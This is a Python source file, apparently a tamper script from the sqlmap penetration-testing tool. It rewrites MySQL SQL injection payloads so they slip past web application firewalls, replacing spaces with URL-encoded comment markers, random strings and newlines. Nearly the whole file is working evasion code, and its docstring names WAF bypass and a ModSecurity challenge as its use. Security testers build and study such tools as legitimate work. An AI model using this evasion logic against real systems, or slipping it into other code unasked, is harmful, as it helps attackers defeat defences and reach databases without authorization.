#!/usr/bin/env python

"""
Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

import os
import re
import random
import string

from lib.core.common import singleTimeWarnMessage
from lib.core.data import kb
from lib.core.enums import DBMS, PRIORITY
from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage(u"tamper script '%s' is only meant to be run against %s > 5.1.13" % (
    os.path.basename(__file__).split(".")[0], DBMS.MYSQL))


def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with a pound character ('#') followed by
    a random string and a new line ('\n')

    Example:
        * Input: 1 AND 9227=9227
        * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

    Requirement:
        * MySQL >= 5.1.13

    Tested against:
        * MySQL 5.1.41

    Notes:
        * Useful to bypass several web application firewalls
        * Used during the ModSecurity SQL injection challenge,
          http://modsecurity.org/demo/challenge.html
    """

    def process(match):
        word = match.group('word')
        randomStr = ''.join(
            random.choice(string.ascii_uppercase + string.lowercase) for _ in xrange(random.randint(6, 12)))

        if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
            return match.group().replace(word, "%s%%23%s%%0A" % (word, randomStr))
        else:
            return match.group()

    retVal = ""

    if payload:
        payload = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), payload)

        for i in xrange(len(payload)):
            if payload[i].isspace():
                randomStr = ''.join(
                    random.choice(string.ascii_uppercase + string.lowercase) for _ in xrange(random.randint(6, 12)))
                retVal += "%%23%s%%0A" % randomStr
            elif payload[i] == '#' or payload[i:i + 3] == '-- ':
                retVal += payload[i:]
                break
            else:
                retVal += payload[i]

    return retVal